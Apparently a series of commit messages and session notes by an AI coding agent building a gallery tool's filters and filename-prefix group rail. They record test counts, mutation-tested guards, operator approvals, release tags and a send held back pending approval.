no venv, and every one of those executes the package root first. Nothing
asserted it. test_stdlib_only now covers __init__, and the no-venv import path
is verified under python3.11 reporting 1.0.0b1.
642 tests green.
Completes U7 with its fourth component: a jump-to-group rail derived from
filename prefixes, replacing the subfolder sections ROADMAP named. The scope
departure was ratified by the operator 2026-09-22; this commit deletes
test_no_group_rail_is_shipped_yet, the guard that held it back, in the same
change that builds what it guarded against.
All seven v1 capabilities are now landed. The 1.0 cut is a decision, not a
dependency, and it is the operator's — no version bump here, because a commit
is not a release.
THE RULE CHANGED AT IMPLEMENTATION, ON MEASURED GROUNDS. The contract specified
`strip ONE trailing run of digits`; run against the live set that yields 24
groups for sindra-bakeoff's 40 images and 27 for sindra's 30 — a rail with a row
per tile — because it keys on the END of the stem, where the instance number
lives. The contract's own table claimed 5 and 1 for those two booths and neither
reproduces; the numbers are reachable only by two OTHER heuristics, so the table
that justified the design was assembled from more than one rule. Its own worked
example contradicts it in plain sight.
The shipped rule keys on the first separator-delimited segment, where the family
lives, destemming only when the stem has no separator at all — so `ac01` -> `ac`
while `v30-seed8302` and `v35-seed8302` stay apart. Re-measured across all 17
live booths; the table is in the contract.
INV-3 GAINED ITS SECOND DEGENERACY. The contract guarded one group for
everything (sc-iso-spread: DSC0001-DSC0006). The live set's actual failure is
the opposite — pewpew-ui-brief yields 23 groups for 34 items, dfa-concepts 13
for 20 — and the contract as written would have shipped a rail that is a second
copy of the grid. The rail now renders only when grouping is informative: two or
more groups, and the middle group holding more than one item. That predicate
gets all 17 booths right.
Grouping is a VIEW. The grid stays sorted(rel) and the zoom ring stays that
order filtered to images; the group fixture interleaves across subdirectories
precisely so a (group, rel) re-sort goes red. Groups are derived from the
RENDERED list, not the full gallery, so no anchor points at a filtered-out tile.
booth/items.py _group_of + Item.group, derived in the resolver (INV-1)
booth/app.py _groups() builds the rail rows; build_gallery carries it
booth/templates/ the rail-groups nav and its CSS
tests/ +16 tests; 639 green
Every new falsifier was proved by running its defeating change (12/12). Three
were vacuous first time out: one fixture's positional order happened to be
alphabetical, one assertion miscounted elements, and the harness itself
certified a broken test twice — no green baseline, and byte-identical mutations
silently defeated by the pyc cache's one-second mtime granularity.
"accept all recs, or make good ones." Four of five executed.
APPROVED: drop subfolder sections for filename-prefix groups. The U7 contract
moves to APPROVED and ROADMAP's U7 row and deterministic-order table are
rewritten -- groups order by the position of their first member in sorted(rel).
SETTLED: `unanswered` means has-an-open-pick, the reading that shipped. The
has-no-mark-at-all reading is a different question and is parked to v1.1 rather
than left pending.
PUSHED: main and both release tags reached origin -- the first time this repo's
U6 work has existed anywhere but this box. Recorded because --follow-tags
carried neither tag: both are LIGHTWEIGHT per the SemVer policy and that flag
only follows annotated ones, so a lightweight release tag needs its own push.
NOT SENT: the 17-handle note was blocked by the auto-mode classifier because a
multi-recipient send is gated on explicit operator approval. The blanket ruling
ratifies the note's content, not that specific approval, and the gate held
correctly. Drafted in full with its recipient list at
docs/pending/fleet-note-booth-link-refusal.md so it survives a context clear.
Not worked around.
NOT SEEDED: "no seeding yet" was a specific prior instruction rather than a
recommendation of this session's, so the blanket acceptance does not overwrite
it.
⚠ The approval leaves a trap: test_no_group_rail_is_shipped_yet exists to stop
an UNAPPROVED group rail, and the rail is now approved. It has inverted and
must be deleted by whoever builds the rail, or it blocks correct work while
reading like a real invariant. Named in the handoff's first step for that
reason.
U6 shipped as v0.6.0 and a late fix as v0.6.1; U7's three ratified components
(rail, filters, grid keyboard) are landed and the fourth is deliberately not,
because swapping subfolder sections for filename-derived groups is a scope
departure the operator has not ruled on. A test fails if anyone builds it
anyway.
Two new detail files. One decomposes U7 by ratified-versus-not and records the
two decisions taken under stated assumption. The other keeps the mechanism
behind today's misrouted directive: pane_find addresses seats by a ROLLING PANE
TITLE, which is not a stable address, and the failure is silent from the
sender's side -- Miranda had no signal until infra-ops flagged it. The incident
resolved; the mechanism did not.
The generated handoff committed the modality failure its own step-7 read exists
to catch: it listed push, seed and the 17-handle note as imperative Next steps
when all three are explicitly gated. Rewritten as do-nots, Next steps emptied.
Recorded here because it is the second time the generator has needed that
backstop.
ROADMAP's U7 row names four components. Three of them -- a sticky rail,
filters, and grid keyboard -- are already ratified there and are implemented
here. The fourth, replacing directory sections with filename-derived groups, is
a scope DEPARTURE the operator has not ruled on and is deliberately not built;
test_no_group_rail_is_shipped_yet fails the moment somebody builds it anyway,
so it cannot arrive by accident while he is away.
Filters are links carrying a query parameter, resolved server-side, so the
gallery keeps working with JavaScript off -- U3 already cost the verbatim path
its no-JS operation and said so, and the gallery is the surface the operator
actually reviews on. An unknown filter falls back to `all` rather than indexing
a dict by a value that arrives from an operator-editable URL.
`unanswered` means HAS AN OPEN PICK, the U4 hold predicate that already exists.
The other reading is a real and different question and stays open on the
contract rather than being guessed at.
Filtering is a VIEW and never reorders. The grid renders `sorted(rel)` with
non-matching items removed, so "the third one" means the same thing with a
filter on as with it off, and the zoom ring is untouched by any filter -- a
ring that changed with the grid would make `next` depend on how the operator
arrived, which is the misfiled-judgment failure invariant 6 exists for.
⚠ The first version of that invariant's test was VACUOUS and the mutation run
caught it: it compared each filtered view against the unfiltered RESPONSE, so a
reversing mutation reversed both sides and it stayed green under the exact
change it forbade. Rewritten against an independent truth -- U1 INV-3 says the
order IS sorted(rel) -- and re-verified RED. Written an hour after the entry
describing this exact failure class, which is worth recording.
611 -> 623 tests.
Not approved and not implemented. Frontmatter status says so, the body says so
twice, and the one scope-direction call in it is named as the operator's.
ROADMAP's U7 row is sections, rail, filters, grid keyboard. The measurement
recorded in persistent-memory.d/2026-09-22-u7-remeasured-before-scoping.md
kills the first component -- zero of eleven gallery booths have a subdirectory,
and the only two booths that do are reports -- and supplies a replacement:
stripping a trailing digit-run from the filename stem yields 5 to 16 sensible
groups on four of the five large galleries.
The degenerate fifth is carried as a first-class case rather than an edge: one
group must render NO rail, because a navigation affordance that cannot navigate
is worse than none.
Closes ROADMAP's outstanding U7 ordering question: groups order by the position
of their first member in sorted(rel), so the rail reads in the same direction
as the grid. Grouping and filtering are views and never reorder -- INV-2 exists
because sorting by (group, rel) looks right and silently changes what 'the
third one' means, which is the misfiled-judgment failure invariant 6 was
written for.
Blast radius checked before writing: Item gains one field beside the existing
section, build_gallery carries it, and image_chain is explicitly unchanged.
The standing instruction is to re-count the booths before scoping U7. Done
against the live 19-booth set, so the scope call is a short read rather than an
investigation.
Two findings. Sections are worth zero and it is now measured twice: not one of
the eleven gallery booths has a subdirectory, and the only two booths that do
are both reports, the job where grid navigation matters least. And the grouping
signal is in the filename rather than the tree -- stripping a trailing digit-run
yields 5 to 16 sensible groups on four of the five large galleries and
degenerates to one group on the fifth, while the competing split-on-second-
hyphen heuristic is useless everywhere.
The sizing case has also moved: the unit was scoped against 270-item booths and
the largest gallery is now 81 items / 40 images.
No U7 code and no U7 contract. The scope direction is the operator's call.
The snapshot was written at v0.6.0 and the marks-guard fix landed after it.
Updates the in-flight head commit, the test count, and the ahead-of-origin
count so a fresh session is not told a stale number.
Patch, agent discretion. Bundles the pre-existing render-time 500 on the
gallery and marks pages, closed at the hydration boundary, plus the
`_safe_fragments` handler that could not survive the failure it was handling.
611 tests.
vh